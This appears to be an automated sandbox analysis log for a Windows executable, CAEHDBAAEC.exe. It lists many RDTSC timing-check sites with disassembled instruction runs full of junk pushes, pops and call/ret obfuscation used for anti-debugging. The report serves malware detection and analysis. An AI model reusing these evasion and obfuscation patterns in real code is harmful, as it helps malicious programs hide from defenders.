Source: C:\Users\user\AppData\Local\Temp\CAEHDBAAEC.exe	RDTSC instruction interceptor: First address: 75D26A second address: 75D271 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 rdtsc
Source: C:\Users\user\AppData\Local\Temp\CAEHDBAAEC.exe	RDTSC instruction interceptor: First address: 75F143 second address: 75F148 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\AppData\Local\Temp\CAEHDBAAEC.exe	RDTSC instruction interceptor: First address: 75F148 second address: 75F152 instructions: 0x00000000 rdtsc 0x00000002 jo 00007FB4246CBDECh 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\AppData\Local\Temp\CAEHDBAAEC.exe	RDTSC instruction interceptor: First address: 75C3A0 second address: 75C3D9 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FB424542857h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push eax 0x0000000b push edx 0x0000000c push eax 0x0000000d jmp 00007FB424542859h 0x00000012 pop eax 0x00000013 rdtsc
Source: C:\Users\user\AppData\Local\Temp\CAEHDBAAEC.exe	RDTSC instruction interceptor: First address: 75D3E9 second address: 75D489 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jnp 00007FB4246CBDE6h 0x0000000a popad 0x0000000b pop esi 0x0000000c push eax 0x0000000d pushad 0x0000000e jl 00007FB4246CBDE8h 0x00000014 push ecx 0x00000015 pop ecx 0x00000016 pushad 0x00000017 push ecx 0x00000018 pop ecx 0x00000019 jmp 00007FB4246CBDF5h 0x0000001e popad 0x0000001f popad 0x00000020 nop 0x00000021 sub dword ptr [ebp+122D1ADAh], ebx 0x00000027 push dword ptr fs:[00000000h] 0x0000002e add bx, 0D95h 0x00000033 mov ebx, 27520FA1h 0x00000038 mov dword ptr fs:[00000000h], esp 0x0000003f mov bl, 9Bh 0x00000041 mov eax, dword ptr [ebp+122D0801h] 0x00000047 push 00000000h 0x00000049 push ebx 0x0000004a call 00007FB4246CBDE8h 0x0000004f pop ebx 0x00000050 mov dword ptr [esp+04h], ebx 0x00000054 add dword ptr [esp+04h], 0000001Ch 0x0000005c inc ebx 0x0000005d push ebx 0x0000005e ret 0x0000005f pop ebx 0x00000060 ret 0x00000061 mov dword ptr [ebp+122D308Ah], ebx 0x00000067 push FFFFFFFFh 0x00000069 mov bx, di 0x0000006c nop 0x0000006d push eax 0x0000006e push edx 0x0000006f pushad 0x00000070 jng 00007FB4246CBDE6h 0x00000076 jmp 00007FB4246CBDEFh 0x0000007b popad 0x0000007c rdtsc
Source: C:\Users\user\AppData\Local\Temp\CAEHDBAAEC.exe	RDTSC instruction interceptor: First address: 75D489 second address: 75D48E instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\AppData\Local\Temp\CAEHDBAAEC.exe	RDTSC instruction interceptor: First address: 760184 second address: 7601CD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 nop 0x00000005 push 00000000h 0x00000007 push ebx 0x00000008 call 00007FB4246CBDE8h 0x0000000d pop ebx 0x0000000e mov dword ptr [esp+04h], ebx 0x00000012 add dword ptr [esp+04h], 00000018h 0x0000001a inc ebx 0x0000001b push ebx 0x0000001c ret 0x0000001d pop ebx 0x0000001e ret 0x0000001f push 00000000h 0x00000021 mov bx, 916Eh 0x00000025 mov ebx, edi 0x00000027 push 00000000h 0x00000029 jmp 00007FB4246CBDF4h 0x0000002e xchg eax, esi 0x0000002f push edi 0x00000030 push eax 0x00000031 push edx 0x00000032 push ecx 0x00000033 pop ecx 0x00000034 rdtsc
Source: C:\Users\user\AppData\Local\Temp\CAEHDBAAEC.exe	RDTSC instruction interceptor: First address: 75C4B9 second address: 75C4BD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\CAEHDBAAEC.exe	RDTSC instruction interceptor: First address: 7601CD second address: 7601EF instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FB4246CBDF4h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edi 0x0000000a push eax 0x0000000b push eax 0x0000000c push edx 0x0000000d pushad 0x0000000e push eax 0x0000000f pop eax 0x00000010 pushad 0x00000011 popad 0x00000012 popad 0x00000013 rdtsc
Source: C:\Users\user\AppData\Local\Temp\CAEHDBAAEC.exe	RDTSC instruction interceptor: First address: 75C4BD second address: 75C4C1 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\CAEHDBAAEC.exe	RDTSC instruction interceptor: First address: 75C4C1 second address: 75C4C7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\CAEHDBAAEC.exe	RDTSC instruction interceptor: First address: 761245 second address: 76124B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\CAEHDBAAEC.exe	RDTSC instruction interceptor: First address: 760327 second address: 76032B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\CAEHDBAAEC.exe	RDTSC instruction interceptor: First address: 75C4C7 second address: 75C4ED instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FB424542857h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push eax 0x0000000b push edx 0x0000000c jg 00007FB424542848h 0x00000012 rdtsc
Source: C:\Users\user\AppData\Local\Temp\CAEHDBAAEC.exe	RDTSC instruction interceptor: First address: 76124B second address: 76124F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\CAEHDBAAEC.exe	RDTSC instruction interceptor: First address: 76032B second address: 7603D3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 mov dword ptr [esp], eax 0x0000000a push 00000000h 0x0000000c push esi 0x0000000d call 00007FB424542848h 0x00000012 pop esi 0x00000013 mov dword ptr [esp+04h], esi 0x00000017 add dword ptr [esp+04h], 0000001Dh 0x0000001f inc esi 0x00000020 push esi 0x00000021 ret 0x00000022 pop esi 0x00000023 ret 0x00000024 and bh, FFFFFFB6h 0x00000027 push dword ptr fs:[00000000h] 0x0000002e sbb bx, 86BBh 0x00000033 mov dword ptr fs:[00000000h], esp 0x0000003a push 00000000h 0x0000003c push ebp 0x0000003d call 00007FB424542848h 0x00000042 pop ebp 0x00000043 mov dword ptr [esp+04h], ebp 0x00000047 add dword ptr [esp+04h], 0000001Ch 0x0000004f inc ebp 0x00000050 push ebp 0x00000051 ret 0x00000052 pop ebp 0x00000053 ret 0x00000054 mov ebx, dword ptr [ebp+122D2AA9h] 0x0000005a mov eax, dword ptr [ebp+122D0841h] 0x00000060 call 00007FB42454284Ah 0x00000065 jmp 00007FB424542856h 0x0000006a pop ebx 0x0000006b push FFFFFFFFh 0x0000006d mov dword ptr [ebp+122D1B07h], ebx 0x00000073 nop 0x00000074 pushad 0x00000075 jbe 00007FB42454284Ch 0x0000007b push eax 0x0000007c push edx 0x0000007d rdtsc
Source: C:\Users\user\AppData\Local\Temp\CAEHDBAAEC.exe	RDTSC instruction interceptor: First address: 76124F second address: 761253 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\CAEHDBAAEC.exe	RDTSC instruction interceptor: First address: 7642A3 second address: 7642E1 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jbe 00007FB424542846h 0x00000009 jp 00007FB424542846h 0x0000000f popad 0x00000010 pop edx 0x00000011 pop eax 0x00000012 push eax 0x00000013 jno 00007FB42454284Eh 0x00000019 nop 0x0000001a mov ebx, dword ptr [ebp+122D3461h] 0x00000020 push 00000000h 0x00000022 sub ebx, dword ptr [ebp+122D3080h] 0x00000028 push 00000000h 0x0000002a mov edi, 112788B5h 0x0000002f xchg eax, esi 0x00000030 pushad 0x00000031 pushad 0x00000032 push esi 0x00000033 pop esi 0x00000034 push eax 0x00000035 push edx 0x00000036 rdtsc
Source: C:\Users\user\AppData\Local\Temp\CAEHDBAAEC.exe	RDTSC instruction interceptor: First address: 7642E1 second address: 7642F6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pushad 0x00000006 push edx 0x00000007 pop edx 0x00000008 pushad 0x00000009 popad 0x0000000a popad 0x0000000b popad 0x0000000c push eax 0x0000000d push eax 0x0000000e push edx 0x0000000f pushad 0x00000010 push esi 0x00000011 pop esi 0x00000012 pushad 0x00000013 popad 0x00000014 popad 0x00000015 rdtsc
Source: C:\Users\user\AppData\Local\Temp\CAEHDBAAEC.exe	RDTSC instruction interceptor: First address: 76532D second address: 765331 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\CAEHDBAAEC.exe	RDTSC instruction interceptor: First address: 765331 second address: 765335 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\CAEHDBAAEC.exe	RDTSC instruction interceptor: First address: 765335 second address: 765357 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edi 0x00000007 push eax 0x00000008 push eax 0x00000009 push edx 0x0000000a push eax 0x0000000b push edx 0x0000000c jmp 00007FB424542856h 0x00000011 rdtsc
Source: C:\Users\user\AppData\Local\Temp\CAEHDBAAEC.exe	RDTSC instruction interceptor: First address: 765357 second address: 76535D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\CAEHDBAAEC.exe	RDTSC instruction interceptor: First address: 76642C second address: 766430 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\CAEHDBAAEC.exe	RDTSC instruction interceptor: First address: 766430 second address: 76643A instructions: 0x00000000 rdtsc 0x00000002 js 00007FB4246CBDE6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\AppData\Local\Temp\CAEHDBAAEC.exe	RDTSC instruction interceptor: First address: 76552F second address: 765535 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\CAEHDBAAEC.exe	RDTSC instruction interceptor: First address: 76643A second address: 76643F instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\AppData\Local\Temp\CAEHDBAAEC.exe	RDTSC instruction interceptor: First address: 765535 second address: 765539 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\CAEHDBAAEC.exe	RDTSC instruction interceptor: First address: 76643F second address: 766445 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\CAEHDBAAEC.exe	RDTSC instruction interceptor: First address: 765539 second address: 765548 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push eax 0x0000000a push edx 0x0000000b push ebx 0x0000000c pushad 0x0000000d popad 0x0000000e pop ebx 0x0000000f rdtsc
Source: C:\Users\user\AppData\Local\Temp\CAEHDBAAEC.exe	RDTSC instruction interceptor: First address: 766445 second address: 766465 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edx 0x00000006 pop eax 0x00000007 nop 0x00000008 sub edi, dword ptr [ebp+122D2AF1h] 0x0000000e push 00000000h 0x00000010 mov ebx, ecx 0x00000012 push 00000000h 0x00000014 sub ebx, dword ptr [ebp+122D2B15h] 0x0000001a xchg eax, esi 0x0000001b pushad 0x0000001c push eax 0x0000001d push edx 0x0000001e pushad 0x0000001f popad 0x00000020 rdtsc
Source: C:\Users\user\AppData\Local\Temp\CAEHDBAAEC.exe	RDTSC instruction interceptor: First address: 766465 second address: 76647B instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 pushad 0x00000008 popad 0x00000009 jne 00007FB424542846h 0x0000000f popad 0x00000010 popad 0x00000011 push eax 0x00000012 pushad 0x00000013 pushad 0x00000014 push eax 0x00000015 push edx 0x00000016 rdtsc
Source: C:\Users\user\AppData\Local\Temp\CAEHDBAAEC.exe	RDTSC instruction interceptor: First address: 765606 second address: 76560C instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\CAEHDBAAEC.exe	RDTSC instruction interceptor: First address: 76560C second address: 765612 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\CAEHDBAAEC.exe	RDTSC instruction interceptor: First address: 765612 second address: 76562C instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FB4246CBDEEh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c pushad 0x0000000d push eax 0x0000000e push edx 0x0000000f push eax 0x00000010 pop eax 0x00000011 rdtsc
Source: C:\Users\user\AppData\Local\Temp\CAEHDBAAEC.exe	RDTSC instruction interceptor: First address: 76562C second address: 765636 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\AppData\Local\Temp\CAEHDBAAEC.exe	RDTSC instruction interceptor: First address: 765636 second address: 76563A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\CAEHDBAAEC.exe	RDTSC instruction interceptor: First address: 767317 second address: 767322 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jl 00007FB424542846h 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\AppData\Local\Temp\CAEHDBAAEC.exe	RDTSC instruction interceptor: First address: 767322 second address: 767393 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edx 0x00000006 pop eax 0x00000007 mov dword ptr [esp], eax 0x0000000a push 00000000h 0x0000000c push eax 0x0000000d call 00007FB4246CBDE8h 0x00000012 pop eax 0x00000013 mov dword ptr [esp+04h], eax 0x00000017 add dword ptr [esp+04h], 00000018h 0x0000001f inc eax 0x00000020 push eax 0x00000021 ret 0x00000022 pop eax 0x00000023 ret 0x00000024 sub dword ptr [ebp+122D30D4h], edx 0x0000002a push eax 0x0000002b or bx, 6BBAh 0x00000030 pop ebx 0x00000031 push 00000000h 0x00000033 jmp 00007FB4246CBDEDh 0x00000038 push 00000000h 0x0000003a mov ebx, ecx 0x0000003c push eax 0x0000003d pushad 0x0000003e pushad 0x0000003f jnc 00007FB4246CBDE6h 0x00000045 jnl 00007FB4246CBDE6h 0x0000004b popad 0x0000004c push eax 0x0000004d push edx 0x0000004e jmp 00007FB4246CBDF5h 0x00000053 rdtsc
Source: C:\Users\user\AppData\Local\Temp\CAEHDBAAEC.exe	RDTSC instruction interceptor: First address: 76920A second address: 769210 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\CAEHDBAAEC.exe	RDTSC instruction interceptor: First address: 769210 second address: 769216 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\CAEHDBAAEC.exe	RDTSC instruction interceptor: First address: 7698E2 second address: 769977 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007FB424542858h 0x00000008 pushad 0x00000009 popad 0x0000000a popad 0x0000000b pop edx 0x0000000c pop eax 0x0000000d push eax 0x0000000e pushad 0x0000000f jc 00007FB424542848h 0x00000015 pushad 0x00000016 popad 0x00000017 push ecx 0x00000018 jmp 00007FB424542851h 0x0000001d pop ecx 0x0000001e popad 0x0000001f nop 0x00000020 push 00000000h 0x00000022 push esi 0x00000023 call 00007FB424542848h 0x00000028 pop esi 0x00000029 mov dword ptr [esp+04h], esi 0x0000002d add dword ptr [esp+04h], 0000001Bh 0x00000035 inc esi 0x00000036 push esi 0x00000037 ret 0x00000038 pop esi 0x00000039 ret 0x0000003a sub edi, 3C893B24h 0x00000040 push 00000000h 0x00000042 or dword ptr [ebp+1248120Ah], edx 0x00000048 sub dword ptr [ebp+122D30DDh], ecx 0x0000004e push 00000000h 0x00000050 or bx, C321h 0x00000055 js 00007FB424542847h 0x0000005b xchg eax, esi 0x0000005c push eax 0x0000005d push edx 0x0000005e jmp 00007FB42454284Eh 0x00000063 rdtsc
Source: C:\Users\user\AppData\Local\Temp\CAEHDBAAEC.exe	RDTSC instruction interceptor: First address: 769977 second address: 769981 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 je 00007FB4246CBDE6h 0x0000000a rdtsc
Source: C:\Users\user\AppData\Local\Temp\CAEHDBAAEC.exe	RDTSC instruction interceptor: First address: 76A993 second address: 76A9BB instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FB42454284Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push eax 0x0000000b push edx 0x0000000c push edi 0x0000000d jmp 00007FB424542854h 0x00000012 pop edi 0x00000013 rdtsc
Source: C:\Users\user\AppData\Local\Temp\CAEHDBAAEC.exe	RDTSC instruction interceptor: First address: 76A9BB second address: 76AA50 instructions: 0x00000000 rdtsc 0x00000002 jnc 00007FB4246CBDE8h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a nop 0x0000000b push 00000000h 0x0000000d push ecx 0x0000000e call 00007FB4246CBDE8h 0x00000013 pop ecx 0x00000014 mov dword ptr [esp+04h], ecx 0x00000018 add dword ptr [esp+04h], 0000001Bh 0x00000020 inc ecx 0x00000021 push ecx 0x00000022 ret 0x00000023 pop ecx 0x00000024 ret 0x00000025 jl 00007FB4246CBDECh 0x0000002b mov dword ptr [ebp+122D3041h], esi 0x00000031 push 00000000h 0x00000033 push 00000000h 0x00000035 push esi 0x00000036 call 00007FB4246CBDE8h 0x0000003b pop esi 0x0000003c mov dword ptr [esp+04h], esi 0x00000040 add dword ptr [esp+04h], 00000019h 0x00000048 inc esi 0x00000049 push esi 0x0000004a ret 0x0000004b pop esi 0x0000004c ret 0x0000004d mov bx, ax 0x00000050 movzx ebx, bx 0x00000053 push 00000000h 0x00000055 push 00000000h 0x00000057 push edi 0x00000058 call 00007FB4246CBDE8h 0x0000005d pop edi 0x0000005e mov dword ptr [esp+04h], edi 0x00000062 add dword ptr [esp+04h], 0000001Bh 0x0000006a inc edi 0x0000006b push edi 0x0000006c ret 0x0000006d pop edi 0x0000006e ret 0x0000006f push eax 0x00000070 push eax 0x00000071 push edx 0x00000072 jp 00007FB4246CBDE8h 0x00000078 rdtsc
Source: C:\Users\user\AppData\Local\Temp\CAEHDBAAEC.exe	RDTSC instruction interceptor: First address: 767565 second address: 76756C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 rdtsc
Source: C:\Users\user\AppData\Local\Temp\CAEHDBAAEC.exe	RDTSC instruction interceptor: First address: 76756C second address: 767585 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 pop eax 0x00000005 jbe 00007FB4246CBDE6h 0x0000000b popad 0x0000000c pop edx 0x0000000d pop eax 0x0000000e push eax 0x0000000f jnp 00007FB4246CBDF4h 0x00000015 push eax 0x00000016 push edx 0x00000017 push ebx 0x00000018 pop ebx 0x00000019 rdtsc
Source: C:\Users\user\AppData\Local\Temp\CAEHDBAAEC.exe	RDTSC instruction interceptor: First address: 76BA80 second address: 76BA98 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FB424542850h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b pushad 0x0000000c popad 0x0000000d rdtsc
Source: C:\Users\user\AppData\Local\Temp\CAEHDBAAEC.exe	RDTSC instruction interceptor: First address: 769B6C second address: 769B70 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\CAEHDBAAEC.exe	RDTSC instruction interceptor: First address: 769B70 second address: 769B83 instructions: 0x00000000 rdtsc 0x00000002 jl 00007FB424542846h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pushad 0x0000000b ja 00007FB424542846h 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\AppData\Local\Temp\CAEHDBAAEC.exe	RDTSC instruction interceptor: First address: 76C91A second address: 76C91E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\CAEHDBAAEC.exe	RDTSC instruction interceptor: First address: 76BBBE second address: 76BC5B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 pop ecx 0x00000006 mov dword ptr [esp], eax 0x00000009 mov edi, dword ptr [ebp+122D28E1h] 0x0000000f push dword ptr fs:[00000000h] 0x00000016 push 00000000h 0x00000018 push eax 0x00000019 call 00007FB424542848h 0x0000001e pop eax 0x0000001f mov dword ptr [esp+04h], eax 0x00000023 add dword ptr [esp+04h], 00000017h 0x0000002b inc eax 0x0000002c push eax 0x0000002d ret 0x0000002e pop eax 0x0000002f ret 0x00000030 mov dword ptr fs:[00000000h], esp 0x00000037 push 00000000h 0x00000039 push eax 0x0000003a call 00007FB424542848h 0x0000003f pop eax 0x00000040 mov dword ptr [esp+04h], eax 0x00000044 add dword ptr [esp+04h], 00000019h 0x0000004c inc eax 0x0000004d push eax 0x0000004e ret 0x0000004f pop eax 0x00000050 ret 0x00000051 sub bl, FFFFFFDAh 0x00000054 movzx ebx, cx 0x00000057 mov eax, dword ptr [ebp+122D0491h] 0x0000005d mov dword ptr [ebp+12462AA9h], edx 0x00000063 mov dword ptr [ebp+122D33F7h], ecx 0x00000069 push FFFFFFFFh 0x0000006b mov dword ptr [ebp+122D2D98h], esi 0x00000071 jmp 00007FB424542859h 0x00000076 push eax 0x00000077 push eax 0x00000078 push edx 0x00000079 push eax 0x0000007a push edx 0x0000007b push ecx 0x0000007c pop ecx 0x0000007d rdtsc
Source: C:\Users\user\AppData\Local\Temp\CAEHDBAAEC.exe	RDTSC instruction interceptor: First address: 76BC5B second address: 76BC61 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\CAEHDBAAEC.exe	RDTSC instruction interceptor: First address: 771DEC second address: 771DFC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jno 00007FB424542848h 0x0000000a push eax 0x0000000b push edx 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\AppData\Local\Temp\CAEHDBAAEC.exe	RDTSC instruction interceptor: First address: 771DFC second address: 771E00 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\CAEHDBAAEC.exe	RDTSC instruction interceptor: First address: 707D13 second address: 707D19 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\CAEHDBAAEC.exe	RDTSC instruction interceptor: First address: 707D19 second address: 707D1D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\CAEHDBAAEC.exe	RDTSC instruction interceptor: First address: 776415 second address: 776419 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\CAEHDBAAEC.exe	RDTSC instruction interceptor: First address: 776419 second address: 776424 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 push edi 0x00000008 pop edi 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\AppData\Local\Temp\CAEHDBAAEC.exe	RDTSC instruction interceptor: First address: 775EB9 second address: 775F1E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 jnl 00007FB424542846h 0x0000000c popad 0x0000000d jg 00007FB42454285Eh 0x00000013 jmp 00007FB424542858h 0x00000018 popad 0x00000019 push ebx 0x0000001a jg 00007FB424542863h 0x00000020 jbe 00007FB424542846h 0x00000026 jmp 00007FB424542857h 0x0000002b push eax 0x0000002c push edx 0x0000002d push esi 0x0000002e pop esi 0x0000002f jmp 00007FB424542851h 0x00000034 rdtsc
Source: C:\Users\user\AppData\Local\Temp\CAEHDBAAEC.exe	RDTSC instruction interceptor: First address: 775F1E second address: 775F22 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\CAEHDBAAEC.exe	RDTSC instruction interceptor: First address: 77A6EC second address: 77A6F6 instructions: 0x00000000 rdtsc 0x00000002 je 00007FB424542846h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\AppData\Local\Temp\CAEHDBAAEC.exe	RDTSC instruction interceptor: First address: 77A6F6 second address: 77A71C instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FB4246CBDF8h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov eax, dword ptr [esp+04h] 0x0000000d push eax 0x0000000e push edx 0x0000000f push ebx 0x00000010 pushad 0x00000011 popad 0x00000012 pop ebx 0x00000013 rdtsc
Source: C:\Users\user\AppData\Local\Temp\CAEHDBAAEC.exe	RDTSC instruction interceptor: First address: 77A71C second address: 77A722 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push esi 0x00000005 pop esi 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\CAEHDBAAEC.exe	RDTSC instruction interceptor: First address: 77A722 second address: 77A74A instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov eax, dword ptr [eax] 0x0000000a jmp 00007FB4246CBDF6h 0x0000000f mov dword ptr [esp+04h], eax 0x00000013 pushad 0x00000014 push ecx 0x00000015 push eax 0x00000016 push edx 0x00000017 rdtsc
Source: C:\Users\user\AppData\Local\Temp\CAEHDBAAEC.exe	RDTSC instruction interceptor: First address: 77A855 second address: 77A85F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jnc 00007FB424542846h 0x0000000a rdtsc
Source: C:\Users\user\AppData\Local\Temp\CAEHDBAAEC.exe	RDTSC instruction interceptor: First address: 76CB22 second address: 76CB2B instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\AppData\Local\Temp\CAEHDBAAEC.exe	RDTSC instruction interceptor: First address: 7802A6 second address: 7802C4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 jmp 00007FB424542859h 0x0000000a rdtsc
Source: C:\Users\user\AppData\Local\Temp\CAEHDBAAEC.exe	RDTSC instruction interceptor: First address: 780469 second address: 78046D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\CAEHDBAAEC.exe	RDTSC instruction interceptor: First address: 7808E8 second address: 7808F4 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 jno 00007FB424542846h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c rdtsc
